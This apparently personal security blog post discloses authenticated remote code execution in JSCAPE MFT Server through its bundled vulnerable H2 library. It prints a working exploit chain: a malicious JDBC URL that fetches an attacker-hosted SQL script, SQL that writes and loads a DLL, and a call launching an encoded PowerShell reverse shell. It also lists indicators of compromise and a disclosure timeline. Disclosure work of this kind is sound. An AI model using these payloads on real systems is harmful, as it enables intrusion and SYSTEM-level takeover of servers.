Update: Fixed proof of concept link.
Background
This research project started back in July 2023, at around the same time when a critical vulnerability in a popular file-sharing software called MoveIt Transfer was disclosed. More details about that particular vulnerability can be found here and here.
I was curious and looked for other similar file-sharing software with security issues. And so a few Google searches later, I found a candidate, a software for enterprises called MFT Server by JSCAPE. I downloaded a trial version and began initial testing.
What is it?
JSCAPE MFT Server is a paid for enterprise file-sharing solution that supports most major platforms. It can handle multiple communication protocols such as (AS2, FTP/S, SFTP, HTTP/S, WebDAV, Cloud) and more.
A screenshot of a few customers listed on their website.
A free 7-day demo is available at this link (requires an email for a license).
Installing Server
I opted to install the 64-bit Windows version on my virtual machine. I won’t bore you with the installation process but the installer comes with a standalone Java environment which means we don’t have to install any additional dependencies, which is nice.
I would like to point out the “Server Access Settings” step which lets users configure a management IP address on default port 10880
and the REST API on port 11880
, as well as the admin user credentials. This was set to default.
For evaluation copies, the default option for the Database settings is set to a embedded database type. But there’s also a database URL parameter where you could choose other databases via the jdbc
, which is greyed out. This can be seen in the following screenshot:
After supplying the temporary license file, the set up process should be done. A new Windows Service will be created called MFT Server
which is configured to automatically start after a system reboot.
Web Management
When the installation process is finished. A web management interface is accessible from either 127.0.0.1
or a local IP address e.g. 192.168.153.129
(external IP set in the installation process), on port 11880
. You have to specify the admin credentials.
Datastore feature
Whilst browsing through the management interface and looking for interesting features, I stumbled across the Datastore feature, which can be found in Settings > Datastore
. As the name implies, it’s meant for the database management. The screenshot below shows we are able to configure the fields JDBC URL
, Username
, Password
, Pool
, Pool Timeout
, and Synchronize data every
.
When you press the Test Parameters button a window appears saying the database test has passed, with a few tick marks and nothing else. To know more about this HTTP request, I set up a BurpSuite proxy to capture and review this request more closely.
The HTTP POST request is sent to the path /2/rest/management/datastore/test
along with a JSON body with the chosen parameters and values. The url
field supplies the actual JDBC URL that we’re interested in.
To understand what the jdbc:h2
part meant, I did a bit of research.
H2 Database
H2 Database is fast open-source database engine interface used in Java applications. There have been at least two critical vulnerabilities in versions 1.4.199
and 2.1.210
which enables attackers to execute commands using an external SQL input.
Reviewing the files and folders of MFT Server software, I was able to confirm the presence of this library, which turned out to also a vulnerable version. This is when I got really excited.
The vulnerable library was located in (Windows):
The library at C:\Program Files\MFT Server\libs\h2\h2-1.4.199.jar
was bundled in versions mft-server-install-x64-2023.2.2.503
and earlier. You can read about the H2 vulnerability here, with a proof of concept available here.
Exploiting the vulnerability
As a quick smoke test, I set up a simple python web server python3 -m http.server
that served a test.sql
file. This file contains a payload that should execute a command on the system using Runtime.getRuntime().exec(cmd)
to open the Windows calculator.
The contents of test.sql
was:
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';
CALL EXEC ('/? && calc');
I then sent the following HTTP POST request, with a custom url
value:
POST /2/rest/management/datastore/test HTTP/1.1
Host: 192.168.159.130:11880
Content-Type: application/json
Cookie: JSESSIONID_11880=node01cu13vvfy01hqqy0kd7y49d3k17.node0;
Connection: close
{
"url":"jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://192.168.159.135:8000/test.sql'",
"username":"server",
"password":null,
"connectionPoolSize":100,
"idleConnectionTtlMillis":10000
"synchronizationPeriodMillis":null
}
The python HTTP server request logs:
YES! although the command doesn’t execute calc.exe
on the target system, we can confirm the server sends a request back to the attacker and tries to parse the SQL query.
The error CreateProcess error=2, The system cannot find the file specified
indicates the reason might be related javac
, and the fact I don’t have Java installed on my Windows system, since I’m using the standalone Java environment provided by the JSCAPE MFT Server software.
I then tried to find other ways at exploiting this vulnerability.
Getting RCE
I read an excellent blog post by Markus Wulftange. He demonstrated how to exploit a vulnerable H2 database by using Java Native Interfaces (JNIs) to achieve remote command execution. You should definitely have a read, as this blog post is largely based on his work.
At a high-level, the attack has three stages: run a SQL query to write a valid DLL library file to the system. Use another SQL query to load the DLL library into the target MFT Server process, and finally use the Java Native Interface (JNI) with the loaded library to execute commands on the system.
Writing to file system
To start off, we need to be able to write to the system to load a DLL
library. From the blog post above, a function called CSVWRITE()
was used to write to the file system. Here is the example:
SELECT CSVWRITE('C:\Windows\Temp\JNIScriptEngine.dll', CONCAT('SELECT NULL "', CHAR(0x4d),CHAR(0x5a),...,'"'), 'ISO-8859-1', '', '', '', '', '');
However, during my initial testing I could not get this function to write to the system properly, I would always get an error.
I then went on the official H2 website to try find an alternative function to CVEWRITE()
. I identified a function called FILE_WRITE()
, which as the name suggests, writes to a file. Markus’s blog also mentions this function but for some reason I skipped over it.
The website provides FILE_WRITE()
usage:
FILE_WRITE ( blobValue , fileNameString )
Write the supplied parameter into a file. Return the number of bytes written.
Write access to folder, and admin rights are required to execute this command.
Example:
SELECT FILE_WRITE('Hello world', '/tmp/hello.txt')) LEN;
This could be a perfect alternative.
The usage example has a simple plaintext value that write to a text file, but we want to write to a DLL
file instead, which would take all sorts of weird characters. I initially tested using CONCAT('SELECT NULL "', CHAR(0x4d),CHAR(0x5a),...,'"')
but that failed.
I was stuck for a bit but after some more Googling I found out you can use a X
before the quotes to indicate a Hexadecimal input value. Here is a example:
-- Write file to system
CALL FILE_WRITE(X'4d5a900003...','C:\\Program Files\\MFT Server\\JNIScriptEngine.dll');
With this I was able to convert a DLL into Hex and write to the file system, perfect!
Also notice the file permissions, only administrators and system users can modify it. This is because MFT Server is running as the SYSTEM
user and thus inherits the same permissions.
Loading native library
The next step is to load the library we just created. This can be done with the following two commands: 1) create a reference to a static public method java.lang.System.load
and 2) load the DLL file with System_load()
function. Here is an example:
-- Loading library
CREATE ALIAS IF NOT EXISTS System_load FOR "java.lang.System.load";
CALL System_load('C:\\Program Files\\MFT Server\\JNIScriptEngine.dll');
To confirm the library is loaded, we can inspect the server.exe
process memory using ProcessHacker. As shown below, a handle to JNIScriptEngine
can be found at 0x7ff9bcf20000
(different on each reboot).
Running commands
Finally, we create an alias for the JNIScriptEngine_eval
to evaluate and then execute a command on the system. For example, the following shows how you would execute an encoded powershell command (full command not included) to get a remote shell:
-- Evaluate script
CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval";
-- Run command e.g. PowerShell reverse shell on 192.168.159.135:4444 base64 encoded UTF-16LE
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("powershell.exe -enc JABjAGwAaQBl...dAAgAD0AZQAoACkA").getInputStream()).useDelimiter("\\Z").next()');
This took a few tries but I finally was able to get a SYSTEM
shell on our Kali listener:
This was done in several HTTP requests, otherwise the SQL query might overwrite the already written DLL. I opted to comment each step after sending a HTTP request. You could also use separate SQL files too.
Disclosure by Rapid7
On September 2023, Rapid7 identified a separate vulnerability in JSCAPE MFT Server, which is tracked as CVE-2023-4528. This vulnerability is also related to an insecure Java deserialisation bug but within an XML parser, instead of the H2 library. It too allows authenticated attackers to gain remote code execution.
The fix applied by the JSCAPE developers introduced a few changes which made my initial exploit harder to achieve RCE. For example, I was no longer able to run:
-- Evaluate script
CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval";
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("calc").getInputStream()).useDelimiter("\\Z").next()');
I would get a new error:
The error with code 90105 is thrown when an exception occurred in a user-defined method.
Nevertheless, it still may be possible to execute arbitrary code because we are able to write to any location as the SYSTEM user, which is very powerful. An attacker could replace a certain DLL library with a malicious one and wait for the system to be rebooted to execute.
Proof of Concept
Note: You have to separate each stage of the proof of concept into a unique HTTP request. To avoid overwriting or loading DLLs into processes.
The proof of concept poc.sql has three parts:
- Write DLL to the system.
- Load DLL into MFT Server
server.exe
process memory. - Call JNI function and execute commands on the system.
MFT Server version 2023.3.1.513
was tested on Windows 10 x64 and confirmed to be vulnerable. But over versions may also be affected too.
Indicators of Compromise (IoC)
The MFT Server log file C:\Program Files\MFT Server\var\log\server_out.log
contains a bunch of events relating to jdbc
connections, and suspicious SQL commands. For example, the following shows the SQL commands CALL FILE_WRITE()
and CALL System_load()
that attempt to write to the file system and then load them into memory.
2023-10-15 14:10:05 database: connecting session #3 to mem:testdb
2023-10-15 14:10:05 jdbc[3]:
/*SQL */SET TRACE_LEVEL_SYSTEM_OUT 3;
2023-10-15 14:10:05 jdbc[3]:
/*SQL #:1*/CALL FILE_WRITE(X'4d5a9000...000000','C:\\\\Program Files\\\\MFT Server\\\\JNIScriptEngine.dll');
...
2023-10-15 14:10:05 jdbc[3]:
/*SQL #:1 t:24*/CALL System_load('C:\\\\Program Files\\\\MFT Server\\\\JNIScriptEngine.dll');
2023-10-15 14:10:05 jdbc[3]:
/*SQL */;
2023-10-15 14:10:05 jdbc[3]:
/*SQL #:4 t:46*/RUNSCRIPT FROM 'http://192.168.153.136/poc.sql';
...
Applying for a CVE
I tried to apply for a CVE, but after waiting 2 months I received a response from mitre.org indicating that the CVE will not be registered due to the bug being with an out-of-date library that the software uses, which already has a CVE registered. I was a bit disappointed but it does make sense.
From: [email protected]
Please use CVE-2022-23221 or CVE-2021-42392 to refer to this JSCAPE
MFT Server vulnerability. We cannot provide separate CVE IDs for every
product that ships with an outdated, vulnerable copy of H2 Database.
...
Resources
- Exploiting H2 Database with native libraries and JNI
- Chaining Vulnerabilities in H2 Database for RCE
Timeline
Note: The long gap between June and October was mostly me trying to find auth bypass type bugs, since this vulnerability required administrator credentials to be exploitable. But also other things getting in the way like life and work.
- 22/06/2023: Discovered JDBC vulnerability via H2 library
- 27/06/2023: Testing for other auth bypass vulnerabilities
- 15/10/2023: Submitted a request to register a CVE on MITRE
- 21/10/2023: Retested new version release
- 10/12/2023: Response from MITRE of CVE not being registered
- 01/01/2024: Contact Rapid7 to help with disclosure
- 02/02/2024: First contact attempt with vendor (Redwood)
- 07/02/2024: Second contact attempt with vendor
- 28/02/2024: Third contact attempt with vendor
- 29/02/2024: Response from vendor (team working on this issue)
- 14/03/2024: Contact vendor asking for fix confirmation (no response)
- 22/03/2024: Published this blog